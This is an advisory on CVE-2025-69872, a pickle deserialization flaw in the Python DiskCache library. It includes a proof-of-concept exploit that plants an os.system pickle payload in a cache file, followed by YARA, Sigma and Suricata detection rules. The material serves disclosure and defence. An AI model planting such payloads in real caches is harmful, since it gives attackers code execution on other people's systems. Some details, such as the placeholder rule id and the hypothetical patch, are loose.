CVE-2025-69872

Executive Summary

CVE-2025-69872 is a critical deserialization vulnerability in the Python library DiskCache (python-diskcache) affecting versions up to and including 5.6.3. The library uses Python's pickle module for serialization by default, which allows arbitrary code execution when a victim application reads a maliciously crafted cache entry. An attacker with write access to the cache directory can plant a malicious pickle payload, leading to remote code execution (RCE) in the context of the victim application. This vulnerability is particularly dangerous in shared hosting environments or multi-tenant systems where cache directories are writable by multiple users.

Supply Chain & Package Security

This vulnerability affects the PyPI package python-diskcache. The package is widely used for caching in Python applications. The default use of pickle for serialization is a known insecure practice, as pickle can execute arbitrary Python code during deserialization. The maintainer has not yet released a patch, leaving all versions up to 5.6.3 vulnerable. Users should immediately switch to a safer serialization format (e.g., JSON) or implement strict access controls on the cache directory.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – Requires write access to the cache directory.
• Attack Complexity (AC): Low (L) – No special conditions beyond write access.
• Privileges Required (PR): Low (L) – Attacker needs low-privileged access to write to the cache.
• User Interaction (UI): Required (R) – Victim application must read the cache entry.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential denial of service.

CVSS Score: 7.3 (High)

Deep Dive & Mechanics

The vulnerability stems from DiskCache's default serialization mechanism. When a cache entry is written, the library uses pickle.dumps() to serialize the value. When reading, it uses pickle.loads() to deserialize. An attacker who can write to the cache directory can create a file containing a malicious pickle payload. When the victim application reads this cache entry, the pickle.loads() call executes arbitrary code embedded in the payload.

The attack flow:

1. Attacker gains write access to the cache directory (e.g., via a file upload vulnerability or shared hosting).
2. Attacker crafts a malicious pickle payload that executes a reverse shell or other commands.
3. Attacker writes this payload to a cache file (e.g., cache.db or a specific key file).
4. Victim application reads the cache entry, triggering deserialization and code execution.

Vulnerable vs. Patched Code

Vulnerable Code (DiskCache <= 5.6.3):

import pickle

class DiskCache:
    def get(self, key):
        # ... read from disk
        return pickle.loads(data)  # Insecure deserialization

    def set(self, key, value):
        data = pickle.dumps(value)  # Insecure serialization
        # ... write to disk

Patched Code (Hypothetical fix):

import json

class DiskCache:
    def get(self, key):
        # ... read from disk
        return json.loads(data)  # Safe deserialization

    def set(self, key, value):
        data = json.dumps(value)  # Safe serialization
        # ... write to disk

The fix involves replacing pickle with a safe serialization format like JSON, or using a restricted unpickler that validates the data.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install vulnerable DiskCache: pip install python-diskcache==5.6.3
2. Create a victim application that reads from cache.
3. Attacker writes malicious pickle payload to cache directory.

Exploit Code:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('echo "PWNED" > /tmp/pwned.txt',))

payload = pickle.dumps(Exploit())
# Write payload to cache file (e.g., cache.db or specific key file)
with open('/path/to/cache/cache.db', 'wb') as f:
    f.write(payload)

Usage:

1. Run the exploit script to write the malicious cache entry.
2. Victim application reads the cache, triggering code execution.
3. Check /tmp/pwned.txt for proof of execution.

Blue Team

Detection:

• Monitor for unusual file writes to cache directories.
• Detect pickle payloads in cache files using YARA rules.
• Alert on processes reading cache files with unexpected child processes.

Mitigation:

• Restrict write access to cache directories.
• Use a safe serialization format (e.g., JSON) instead of pickle.
• Implement integrity checks on cache files (e.g., HMAC signatures).

Indicators of Compromise (IOCs)

• File Hashes: Malicious pickle payloads may have specific hash values (e.g., SHA256 of known exploits).
• Network Connections: Reverse shells or outbound connections from the victim application.
• Process Anomalies: Unexpected child processes (e.g., cmd.exe, /bin/sh) spawned by the application.
• File System: Unusual files in cache directories (e.g., files with pickle magic bytes 0x80 0x04).
• Logs: Errors related to pickle deserialization or cache read failures.

Detection Engineering

YARA Rule

rule Detect_Malicious_Pickle_Payload {
    meta:
        description = "Detects malicious pickle payloads targeting DiskCache CVE-2025-69872"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-69872"
    strings:
        $pickle_magic = { 80 04 }  // Pickle protocol 4 magic bytes
        $os_system = "os.system" ascii wide
        $subprocess = "subprocess" ascii wide
        $exec = "exec" ascii wide
    condition:
        $pickle_magic and ($os_system or $subprocess or $exec)
}

Sigma Rule

title: DiskCache Pickle Deserialization Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2025-69872 via malicious pickle payloads
author: Valters IT
date: 2025-04-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\python.exe'
        Image|endswith: '\cmd.exe'
    condition: selection
falsepositives:
    - Legitimate use of cmd.exe by Python scripts
level: high

Suricata Rule

alert tcp any any -> any any (msg:"DiskCache Pickle Deserialization Exploit"; content:"|80 04|"; depth:2; content:"os.system"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Restrict write access to the cache directory to only the application user.
2. Short-term: Switch to a safe serialization format (e.g., JSON) by overriding the serialization methods in DiskCache.
3. Long-term: Monitor for patches from the vendor. If no patch is released, consider migrating to an alternative caching library that uses safe serialization by default.
4. Detection: Deploy YARA and Sigma rules to detect malicious pickle payloads.
5. Monitoring: Enable logging for cache read/write operations and alert on anomalies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert